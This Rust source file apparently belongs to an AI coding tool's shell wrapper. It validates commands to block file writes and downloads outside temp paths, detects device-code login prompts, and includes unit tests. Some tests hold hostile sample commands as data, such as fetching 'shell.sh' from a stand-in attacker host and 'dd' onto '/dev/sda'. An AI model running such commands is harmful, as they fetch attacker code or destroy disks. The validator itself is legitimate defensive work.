1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5pub fn validate_command(command: &str) -> Option<String> {
8 let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
9 let project_root = crate::core::config::Config::find_project_root();
10 validate_command_with_write_allow_paths(command, &write_allow_paths, project_root.as_deref())
11}
12
13pub(crate) fn validate_command_with_write_allow_paths(
14 command: &str,
15 write_allow_paths: &[String],
16 project_root: Option<&str>,
17) -> Option<String> {
18 if command.len() > MAX_COMMAND_BYTES {
19 return Some(format!(
20 "ERROR: Command too large ({} bytes, limit {}). \
21 If you're writing file content, use the native Write/Edit tool instead. \
22 ctx_shell is for reading command output only (git, cargo, npm, etc.).",
23 command.len(),
24 MAX_COMMAND_BYTES
25 ));
26 }
27
28 let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
31 if has_file_write_redirect(&cmd_no_heredoc, write_allow_paths, project_root) {
32 return Some(
33 "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
34 Use the native Write tool to create/modify files. \
35 ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
36 File writes via shell cause MCP protocol corruption on large payloads. \
37 Output capture to temp paths (/tmp, /var/tmp, $TMPDIR) is allowed."
38 .to_string(),
39 );
40 }
41
42 if has_disallowed_tee_target(&cmd_no_heredoc, write_allow_paths, project_root) {
48 return Some(
49 "ERROR: ctx_shell detected a file-write command (tee without pipe). \
50 Use the native Write tool to create/modify files. \
51 ctx_shell is ONLY for reading command output. \
52 Piped tee (cmd | tee file) is allowed for output capture."
53 .to_string(),
54 );
55 }
56
57 if is_heredoc_file_write(command, write_allow_paths, project_root) {
58 return Some(
59 "ERROR: ctx_shell detected a heredoc writing to a file. \
60 Use the native Write tool to create/modify files. \
61 ctx_shell is ONLY for reading command output. \
62 Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
63 .to_string(),
64 );
65 }
66
67 if let Some(reason) = download_to_file_reason(command) {
68 return Some(format!(
69 "ERROR: ctx_shell detected a file download/write ({reason}). \
70 ctx_shell is ONLY for reading command output — redirect-free flags bypass \
71 this doctrine, so they are blocked too (GH #391). \
72 Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
73 native tools to create files."
74 ));
75 }
76
77 None
78}
79
80fn is_scratch_path(path: &str) -> bool {
84 let p = std::path::Path::new(path);
85 if p.starts_with("/tmp")
86 || p.starts_with("/var/tmp")
87 || p.starts_with("/private/tmp")
88 || p.starts_with("/dev/null")
89 {
90 return true;
91 }
92 if let Ok(tmpdir) = std::env::var("TMPDIR")
93 && !tmpdir.is_empty()
94 && p.starts_with(tmpdir.as_str())
95 {
96 return true;
97 }
98 false
99}
100
101fn download_to_file_reason(command: &str) -> Option<String> {
104 for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
105 let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
106 let Some(first) = tokens.first() else {
107 continue;
108 };
109 let base = first.rsplit('/').next().unwrap_or(first);
110 match base {
111 "curl" => {
112 let tokens_slice = &tokens[1..];
113 for (i, tok) in tokens_slice.iter().enumerate() {
114 let target: Option<&str> = if tok == "--output" {
115 tokens_slice.get(i + 1).map(String::as_str)
116 } else if let Some(val) = tok.strip_prefix("--output=") {
117 Some(val)
118 } else if tok == "--output-dir" {
119 tokens_slice.get(i + 1).map(String::as_str)
120 } else if let Some(val) = tok.strip_prefix("--output-dir=") {
121 Some(val)
122 } else if tok.starts_with('-')
123 && !tok.starts_with("--")
124 && tok[1..].contains('o')
125 {
126 tokens_slice.get(i + 1).map(String::as_str)
128 } else if tok == "--remote-name"
129 || tok == "--remote-name-all"
130 || (tok.starts_with('-')
131 && !tok.starts_with("--")
132 && tok[1..].contains('O'))
133 {
134 Some(".")
135 } else {
136 None
137 };
138 if let Some(path) = target {
139 if is_scratch_path(path) {
140 continue;
141 }
142 return Some(format!("curl {tok}"));
143 }
144 }
145 }
146 "wget" => {
147 let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
149 tok == "--output-document=-"
150 || tok == "-O-"
151 || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
152 || ((tok == "-O" || tok == "--output-document")
153 && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
154 || tok == "--spider"
155 });
156 if !to_stdout {
157 return Some(
158 "wget downloads to a file by default; use wget -qO- <url> for stdout"
159 .to_string(),
160 );
161 }
162 }
163 "dd" => {
164 for tok in &tokens[1..] {
165 if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
166 return Some(format!("dd {tok}"));
167 }
168 }
169 }
170 _ => {}
171 }
172 }
173 None
174}
175
176fn is_heredoc_file_write(
179 command: &str,
180 write_allow_paths: &[String],
181 project_root: Option<&str>,
182) -> bool {
183 let has_heredoc = command.contains("<<");
184 if !has_heredoc {
185 return false;
186 }
187 let cmd_lower = command.to_lowercase();
188 let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
189 let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
190 if !has_known_heredoc {
191 return false;
192 }
193 let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
196 has_file_write_redirect(&stripped, write_allow_paths, project_root)
197}
198
199pub fn is_temp_redirect_target(target: &str) -> bool {
209 let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
210 is_write_allowed_redirect_target(target, &write_allow_paths, None)
211}
212
213fn is_write_allowed_redirect_target(
214 target: &str,
215 write_allow_paths: &[String],
216 project_root: Option<&str>,
217) -> bool {
218 let t = target.trim_start_matches(['>', '&', '|']);
220 let t = t.trim_matches(['"', '\'']);
223 if t.starts_with('$') || t.starts_with("${") {
224 return true;
226 }
227
228 let path = std::path::Path::new(t);
229 if !path.is_absolute() {
230 return false;
231 }
232 let resolved = resolve_path_for_comparison(path);
233 if project_root.is_some_and(|root| {
234 resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(root)))
235 }) {
236 return false;
237 }
238 write_allow_paths.iter().any(|allowed| {
239 resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(allowed)))
240 })
241}
242
243fn resolve_path_for_comparison(path: &std::path::Path) -> std::path::PathBuf {
244 use std::path::{Component, PathBuf};
245
246 let mut normalized = PathBuf::new();
247 for component in path.components() {
248 match component {
249 Component::CurDir => {}
250 Component::ParentDir => {
251 normalized.pop();
252 }
253 other => normalized.push(other.as_os_str()),
254 }
255 }
256
257 let mut unresolved = Vec::new();
258 let mut existing = normalized.clone();
259 while !existing.exists() {
260 let Some(name) = existing.file_name() else {
261 break;
262 };
263 unresolved.push(name.to_os_string());
264 if !existing.pop() {
265 break;
266 }
267 }
268 let mut resolved = crate::core::pathutil::canonicalize_secure_or_self(&existing);
269 for component in unresolved.iter().rev() {
270 resolved.push(component);
271 }
272 resolved
273}
274
275fn tee_targets(command: &str) -> Vec<String> {
276 crate::core::shell_allowlist::extract_all_commands_pub(command)
277 .into_iter()
278 .filter_map(|segment| {
279 let tokens = crate::core::shell_allowlist::shell_tokenize(segment.trim());
280 let first = tokens.first()?;
281 if first.rsplit('/').next().unwrap_or(first) != "tee" {
282 return None;
283 }
284 let mut after_separator = false;
285 Some(
286 tokens
287 .iter()
288 .skip(1)
289 .find(|token| {
290 if *token == "--" {
291 after_separator = true;
292 return false;
293 }
294 after_separator || !token.starts_with('-')
295 })
296 .cloned()
297 .unwrap_or_default(),
298 )
299 })
300 .collect()
301}
302
303fn has_disallowed_tee_target(
304 command: &str,
305 write_allow_paths: &[String],
306 project_root: Option<&str>,
307) -> bool {
308 tee_targets(command).into_iter().any(|target| {
309 !target.is_empty()
310 && !is_write_allowed_redirect_target(&target, write_allow_paths, project_root)
311 })
312}
313
314fn has_file_write_redirect(
315 command: &str,
316 write_allow_paths: &[String],
317 project_root: Option<&str>,
318) -> bool {
319 let bytes = command.as_bytes();
320 let len = bytes.len();
321 let mut i = 0;
322 let mut in_single_quote = false;
323 let mut in_double_quote = false;
324
325 while i < len {
326 let c = bytes[i];
327 if c == b'\\' && !in_single_quote {
328 i += 2;
334 continue;
335 }
336 if c == b'\'' && !in_double_quote {
337 in_single_quote = !in_single_quote;
338 } else if c == b'"' && !in_single_quote {
339 in_double_quote = !in_double_quote;
340 } else if c == b'>' && !in_single_quote && !in_double_quote {
341 if i > 0 && bytes[i - 1] == b'2' {
342 i += 1;
343 continue;
344 }
345 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
346 i + 2
347 } else {
348 i + 1
349 };
350 let target: String = command[target_start..]
351 .trim_start()
352 .chars()
353 .take_while(|c| !c.is_whitespace())
354 .collect();
355 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
356 i += 1;
357 continue;
358 }
359 if let Some(fd) = target.strip_prefix('&')
362 && !fd.is_empty()
363 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
364 {
365 i += 1;
366 continue;
367 }
368 if is_write_allowed_redirect_target(&target, write_allow_paths, project_root) {
371 i += 1;
372 continue;
373 }
374 if !target.is_empty() {
375 return true;
376 }
377 }
378 i += 1;
379 }
380 false
381}
382
383pub fn normalize_command_for_shell(command: &str) -> String {
386 if !cfg!(windows) {
387 return command.to_string();
388 }
389 let (_, flag) = crate::shell::shell_and_flag();
390 if flag != "/C" {
391 return command.to_string();
392 }
393 let bytes = command.as_bytes();
394 let mut result = Vec::with_capacity(bytes.len() + 16);
395 let mut in_single = false;
396 let mut in_double = false;
397 for (i, &b) in bytes.iter().enumerate() {
398 if b == b'\'' && !in_double {
399 in_single = !in_single;
400 } else if b == b'"' && !in_single {
401 in_double = !in_double;
402 } else if b == b';' && !in_single && !in_double {
403 result.extend_from_slice(b" && ");
404 continue;
405 }
406 result.push(b);
407 let _ = i;
408 }
409 String::from_utf8(result).unwrap_or_else(|_| command.to_string())
410}
411
412pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
417 crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
418}
419
420pub fn handle_with_context(
421 command: &str,
422 output: &str,
423 exit_code: i32,
424 crp_mode: CrpMode,
425 project_root: Option<&str>,
426) -> String {
427 let mut result = handle(command, output, exit_code, crp_mode);
428
429 {
430 if let Some(root) = project_root {
431 let estimated_tokens = result.len() / 4;
432 if estimated_tokens > 500 {
433 let kernel_budget = 100;
434 if let Some(enrichment) =
435 crate::core::context_kernel::bridge::kernel_enrich(command, root, kernel_budget)
436 && !enrichment.blocks.is_empty()
437 {
438 result.push_str("\n--- kernel context ---\n");
439 result.push_str(&enrichment.blocks);
440 }
441 }
442 }
443 }
444
445 result
446}
447
448#[cfg(test)]
449mod kernel_tests {
450 use super::handle_with_context;
451 use crate::tools::CrpMode;
452
453 #[test]
454 fn handle_with_context_does_not_panic_on_short_output() {
455 let result = handle_with_context("ls", "file.txt", 0, CrpMode::Tdd, Some("/tmp"));
456 assert!(!result.is_empty());
457 }
458}
459
460#[cfg(test)]
461fn is_search_command(command: &str) -> bool {
462 let cmd = command.trim_start();
463 cmd.starts_with("grep ")
464 || cmd.starts_with("rg ")
465 || cmd.starts_with("find ")
466 || cmd.starts_with("fd ")
467 || cmd.starts_with("ag ")
468 || cmd.starts_with("ack ")
469}
470
471#[cfg(test)]
472fn generic_compress(output: &str) -> String {
473 let output = crate::core::compressor::strip_ansi(output);
474 let lines: Vec<&str> = output
475 .lines()
476 .filter(|l| {
477 let t = l.trim();
478 !t.is_empty()
479 })
480 .collect();
481
482 if lines.len() <= 20 {
483 return lines.join("\n");
484 }
485
486 let show_count = (lines.len() / 3).min(30);
487 let half = show_count / 2;
488 let first = &lines[..half];
489 let last = &lines[lines.len() - half..];
490 let omitted = lines.len() - (half * 2);
491 format!(
492 "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
493 first.join("\n"),
494 half * 2,
495 lines.len(),
496 omitted,
497 last.join("\n")
498 )
499}
500
501pub fn contains_auth_flow(output: &str) -> bool {
505 let lower = output.to_lowercase();
506
507 const STRONG_SIGNALS: &[&str] = &[
508 "devicelogin",
509 "deviceauth",
510 "device_code",
511 "device code",
512 "device-code",
513 "verification_uri",
514 "user_code",
515 "one-time code",
516 ];
517
518 if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
519 return true;
520 }
521
522 const WEAK_SIGNALS: &[&str] = &[
523 "enter the code",
524 "enter this code",
525 "enter code:",
526 "use the code",
527 "use a web browser to open",
528 "open the page",
529 "authenticate by visiting",
530 "sign in with the code",
531 "sign in using a code",
532 "verification code",
533 "authorize this device",
534 "waiting for authentication",
535 "waiting for login",
536 "waiting for you to authenticate",
537 "open your browser",
538 "open in your browser",
539 ];
540
541 let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
542 if !has_weak_signal {
543 return false;
544 }
545
546 lower.contains("http://") || lower.contains("https://")
547}
548
549#[cfg(test)]
550mod tests {
551 use super::*;
552
553 #[test]
554 fn normalize_cmd_no_change_on_unix() {
555 if cfg!(windows) {
556 return;
557 }
558 assert_eq!(
559 normalize_command_for_shell("cd /tmp; ls -la"),
560 "cd /tmp; ls -la"
561 );
562 }
563
564 #[test]
565 fn validate_allows_safe_commands() {
566 assert!(validate_command("git status").is_none());
567 assert!(validate_command("cargo test").is_none());
568 assert!(validate_command("npm run build").is_none());
569 assert!(validate_command("ls -la").is_none());
570 }
571
572 #[test]
573 fn validate_blocks_file_writes() {
574 assert!(validate_command("echo 'data' > output.txt").is_some());
575 assert!(validate_command("tee output.txt").is_some());
576 assert!(validate_command("printf 'hello' > test.txt").is_some());
577 }
578
579 #[test]
580 #[cfg(unix)]
581 fn validate_allows_literal_temp_redirect_and_tee_targets() {
582 let paths = crate::core::config::default_shell_write_allow_paths();
583 assert!(
584 validate_command_with_write_allow_paths(
585 "go test ./... > /private/tmp/agent-test.log 2>&1",
586 &paths,
587 None
588 )
589 .is_none()
590 );
591 assert!(
592 validate_command_with_write_allow_paths(
593 "tee /private/tmp/agent-test.log",
594 &paths,
595 None
596 )
597 .is_none()
598 );
599 assert!(
600 validate_command_with_write_allow_paths(
601 "go test ./... | tee /private/tmp/agent-test.log",
602 &paths,
603 None
604 )
605 .is_none()
606 );
607 }
608
609 #[test]
610 fn validate_blocks_redirects_and_piped_tee_into_project_root() {
611 let root = std::env::current_dir().expect("test cwd");
612 let target = root.join("agent-test.log");
613 let target = target.to_string_lossy();
614 let paths = crate::core::config::default_shell_write_allow_paths();
615 assert!(
616 validate_command_with_write_allow_paths(
617 &format!("echo output > {target}"),
618 &paths,
619 Some(root.to_string_lossy().as_ref())
620 )
621 .is_some()
622 );
623 assert!(
624 validate_command_with_write_allow_paths(
625 &format!("go test | tee {target}"),
626 &paths,
627 Some(root.to_string_lossy().as_ref())
628 )
629 .is_some()
630 );
631 }
632
633 #[test]
634 #[cfg(unix)]
635 fn validate_allows_configured_external_write_path() {
636 let paths = vec!["/var/agent-scratch".to_string()];
637 assert!(
638 validate_command_with_write_allow_paths(
639 "go test ./... >> /var/agent-scratch/gotest.log",
640 &paths,
641 Some("/workspace/project")
642 )
643 .is_none()
644 );
645 assert!(
646 validate_command_with_write_allow_paths(
647 "go test ./... | tee /var/agent-scratch/gotest.log",
648 &paths,
649 Some("/workspace/project")
650 )
651 .is_none()
652 );
653 assert!(
654 validate_command_with_write_allow_paths(
655 "echo output > /var/other/gotest.log",
656 &paths,
657 Some("/workspace/project")
658 )
659 .is_some()
660 );
661 }
662
663 #[test]
664 fn validate_blocks_heredoc_with_file_redirect() {
665 assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
666 assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
667 assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
668 }
669
670 #[test]
671 fn validate_allows_heredoc_without_file_redirect() {
672 assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
673 assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
674 assert!(
675 validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
676 );
677 assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
678 }
679
680 #[test]
681 fn validate_blocks_oversized_commands() {
682 let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
683 let result = validate_command(&huge);
684 assert!(result.is_some());
685 assert!(result.unwrap().contains("too large"));
686 }
687
688 #[test]
689 fn validate_allows_cat_without_redirect() {
690 assert!(validate_command("cat file.txt").is_none());
691 }
692
693 #[test]
696 fn validate_allows_escaped_quotes_with_angle_brackets() {
697 assert!(
700 validate_command(
701 "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
702 )
703 .is_none()
704 );
705 assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
706 assert!(validate_command("echo a \\> b").is_none());
708 }
709
710 #[test]
711 fn validate_still_blocks_redirect_after_escapes() {
712 assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
714 assert!(validate_command("echo \\\\ > out.txt").is_some());
715 }
716
717 #[test]
720 fn heredoc_stdin_without_redirect_is_allowed() {
721 assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
722 assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
723 assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
724 }
725
726 #[test]
727 fn dev_null_redirect_is_allowed() {
728 assert!(validate_command("cat > /dev/null").is_none());
729 assert!(validate_command("cmd > /dev/null 2>&1").is_none());
730 assert!(validate_command("cmd 2>/dev/null").is_none());
731 }
732
733 #[test]
734 fn dev_stdout_and_stderr_redirects_are_allowed() {
735 assert!(validate_command("cmd > /dev/stdout").is_none());
736 assert!(validate_command("cmd > /dev/stderr").is_none());
737 }
738
739 #[test]
740 fn issue_897_edge_cases_post_fix() {
741 assert!(
742 validate_command(
743 "cat <<'EOF' > output.txt
744some content
745EOF"
746 )
747 .is_some(),
748 "heredoc to file must block"
749 );
750 assert!(
751 validate_command(
752 "git commit --allow-empty -F - <<'COMMIT_MSG'
753feat: test
754COMMIT_MSG"
755 )
756 .is_none(),
757 "git commit -F - with heredoc must allow"
758 );
759 let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
760 assert!(
761 validate_command(cmd).is_none(),
762 "quoted > must allow: {cmd}"
763 );
764 }
765
766 #[test]
769 fn validate_blocks_curl_output_flags() {
770 assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_none());
772 assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_none());
773 assert!(validate_command("curl --output evil.bin https://example.com").is_some());
775 assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
776 assert!(validate_command("curl -O https://example.com/payload").is_some());
777 assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
778 }
779
780 #[test]
781 fn validate_allows_curl_to_stdout() {
782 assert!(validate_command("curl https://api.example.com/health").is_none());
783 assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
784 assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
785 assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
787 }
788
789 #[test]
790 fn validate_blocks_wget_default_file_download() {
791 assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
792 assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
793 assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
794 }
795
796 #[test]
797 fn validate_allows_wget_stdout_and_spider() {
798 assert!(validate_command("wget -qO- https://example.com").is_none());
799 assert!(validate_command("wget -O- https://example.com").is_none());
800 assert!(validate_command("wget -O - https://example.com").is_none());
801 assert!(validate_command("wget --output-document=- https://example.com").is_none());
802 assert!(validate_command("wget --spider https://example.com").is_none());
803 }
804
805 #[test]
806 fn validate_blocks_dd_output_file() {
807 assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
808 assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
809 }
810
811 #[test]
812 fn validate_allows_dd_read_only() {
813 assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
814 assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
815 }
816
817 #[test]
820 fn auth_flow_detects_azure_device_code() {
821 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
822 assert!(contains_auth_flow(output));
823 }
824
825 #[test]
826 fn auth_flow_detects_gh_auth_one_time_code() {
827 let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
828 assert!(contains_auth_flow(output));
829 }
830
831 #[test]
832 fn auth_flow_detects_device_code_json() {
833 let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
834 assert!(contains_auth_flow(output));
835 }
836
837 #[test]
838 fn auth_flow_detects_verification_uri_field() {
839 let output =
840 r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
841 assert!(contains_auth_flow(output));
842 }
843
844 #[test]
845 fn auth_flow_detects_user_code_field() {
846 let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
847 assert!(contains_auth_flow(output));
848 }
849
850 #[test]
853 fn auth_flow_detects_gcloud_with_url() {
854 let output = "Go to the following link in your browser:\n\n https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
855 assert!(contains_auth_flow(output));
856 }
857
858 #[test]
859 fn auth_flow_detects_aws_sso_with_url() {
860 let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
861 assert!(contains_auth_flow(output));
862 }
863
864 #[test]
865 fn auth_flow_detects_firebase_with_url() {
866 let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
867 assert!(contains_auth_flow(output));
868 }
869
870 #[test]
871 fn auth_flow_detects_generic_browser_open_with_url() {
872 let output =
873 "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
874 assert!(contains_auth_flow(output));
875 }
876
877 #[test]
880 fn auth_flow_ignores_normal_build_output() {
881 let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
882 assert!(!contains_auth_flow(output));
883 }
884
885 #[test]
886 fn auth_flow_ignores_git_output() {
887 let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
888 assert!(!contains_auth_flow(output));
889 }
890
891 #[test]
892 fn auth_flow_ignores_npm_install_output() {
893 let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
894 assert!(!contains_auth_flow(output));
895 }
896
897 #[test]
898 fn auth_flow_ignores_docs_mentioning_auth() {
899 let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
900 assert!(!contains_auth_flow(output));
901 }
902
903 #[test]
904 fn auth_flow_weak_signal_requires_url() {
905 let output = "Please enter the code ABC123 in the terminal";
906 assert!(!contains_auth_flow(output));
907 }
908
909 #[test]
910 fn auth_flow_weak_signal_without_url_is_ignored() {
911 let output = "Waiting for authentication to complete... done!";
912 assert!(!contains_auth_flow(output));
913 }
914
915 #[test]
916 fn auth_flow_ignores_virtualenv_activate() {
917 let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
918 assert!(!contains_auth_flow(output));
919 }
920
921 #[test]
922 fn auth_flow_ignores_api_response_with_code_field() {
923 let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
924 assert!(!contains_auth_flow(output));
925 }
926
927 #[test]
930 fn handle_preserves_auth_flow_output_fully() {
931 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
932 let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
934 assert!(result.contains("ABCD1234"), "auth code must be preserved");
935 assert!(result.contains("devicelogin"), "URL must be preserved");
936 assert!(
937 result.contains("Line 13"),
938 "all lines must be preserved (no truncation)"
939 );
940 }
941
942 #[test]
943 fn handle_compresses_normal_output_not_auth() {
944 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
945 let output = lines.join("\n");
946 let result = handle("some-tool check", &output, 0, CrpMode::Off);
947 assert!(
948 !result.contains("auth/device-code flow detected"),
949 "normal output must not trigger auth detection"
950 );
951 assert!(
952 result.len() < output.len() + 100,
953 "normal output should be compressed, not inflated"
954 );
955 }
956
957 #[test]
958 fn is_search_command_detects_grep() {
959 assert!(is_search_command("grep -r pattern src/"));
960 assert!(is_search_command("rg pattern src/"));
961 assert!(is_search_command("find . -name '*.rs'"));
962 assert!(is_search_command("fd pattern"));
963 assert!(is_search_command("ag pattern src/"));
964 assert!(is_search_command("ack pattern"));
965 }
966
967 #[test]
968 fn is_search_command_rejects_non_search() {
969 assert!(!is_search_command("cargo build"));
970 assert!(!is_search_command("git status"));
971 assert!(!is_search_command("npm install"));
972 assert!(!is_search_command("cat file.rs"));
973 }
974
975 #[test]
976 fn generic_compress_preserves_short_output() {
977 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
978 let output = lines.join("\n");
979 let result = generic_compress(&output);
980 assert_eq!(result, output);
981 }
982
983 #[test]
984 fn generic_compress_scales_with_length() {
985 let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
986 let output = lines.join("\n");
987 let result = generic_compress(&output);
988 assert!(result.contains("truncated"));
989 let shown_count = result.lines().count();
990 assert!(
991 shown_count > 10,
992 "should show more than old 6-line limit, got {shown_count}"
993 );
994 assert!(shown_count < 60, "should be truncated, not full output");
995 }
996
997 #[test]
998 fn handle_preserves_search_results() {
999 let lines: Vec<String> = (1..=30)
1000 .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
1001 .collect();
1002 let output = lines.join("\n");
1003 let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
1004 for i in 1..=30 {
1005 assert!(
1006 result.contains(&format!("file{i}")),
1007 "search result file{i} should be preserved in output"
1008 );
1009 }
1010 }
1011
1012 #[test]
1015 fn unquoted_heredoc_gt_in_body_not_blocked() {
1016 let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
1017 assert!(
1018 validate_command(cmd).is_none(),
1019 "unquoted heredoc body with > must not be flagged as redirect"
1020 );
1021 }
1022
1023 #[test]
1024 fn unquoted_heredoc_append_in_body_not_blocked() {
1025 let cmd = "cat <<END\nline with >> inside\nEND";
1026 assert!(
1027 validate_command(cmd).is_none(),
1028 "unquoted heredoc body with >> must not be flagged"
1029 );
1030 }
1031
1032 #[test]
1038 #[cfg(unix)]
1039 fn issue_1142_private_tmp_redirect_allowed() {
1040 assert!(
1042 validate_command(
1043 "go test ./... > /private/tmp/claude-502/scratchpad/gotest.log 2>&1; echo EXIT:$?"
1044 )
1045 .is_none()
1046 );
1047 assert!(validate_command("cargo test > /var/tmp/out.log 2>&1").is_none());
1048 assert!(validate_command("make 2>> /private/tmp/err.log").is_none());
1049 assert!(validate_command("cargo test > \"/private/tmp/x/build.log\"").is_none());
1051 }
1052
1053 #[test]
1054 fn issue_1142_quoted_scratch_target_allowed() {
1055 assert!(validate_command("cargo test > \"$TMPDIR/build.log\"").is_none());
1057 assert!(validate_command("cargo test > '$SCRATCH/build.log'").is_none());
1058 }
1059
1060 #[test]
1061 fn issue_1142_fd_dup_allowed() {
1062 assert!(validate_command("echo error >&2").is_none());
1063 assert!(validate_command("printf 'x' 1>&2 && git status").is_none());
1064 }
1065
1066 #[test]
1067 fn issue_1142_project_writes_still_blocked() {
1068 assert!(validate_command("cargo test > build.log").is_some());
1069 assert!(validate_command("echo x > /Users/me/project/out.txt").is_some());
1070 assert!(validate_command("echo x > \"./out.txt\"").is_some());
1071 assert!(validate_command("echo x > /private/tmpfoo/out.txt").is_some());
1073 }
1074
1075 #[test]
1076 #[cfg(unix)]
1077 fn issue_1142_noclobber_to_scratch_allowed() {
1078 assert!(validate_command("cargo test >|/tmp/out.log").is_none());
1079 assert!(validate_command("echo x >|out.txt").is_some());
1080 }
1081
1082 #[test]
1083 fn real_redirect_after_heredoc_still_blocked() {
1084 let cmd = "cat <<EOF > output.txt\ndata\nEOF";
1085 assert!(
1086 validate_command(cmd).is_some(),
1087 "redirect OUTSIDE heredoc body must still block"
1088 );
1089 }
1090}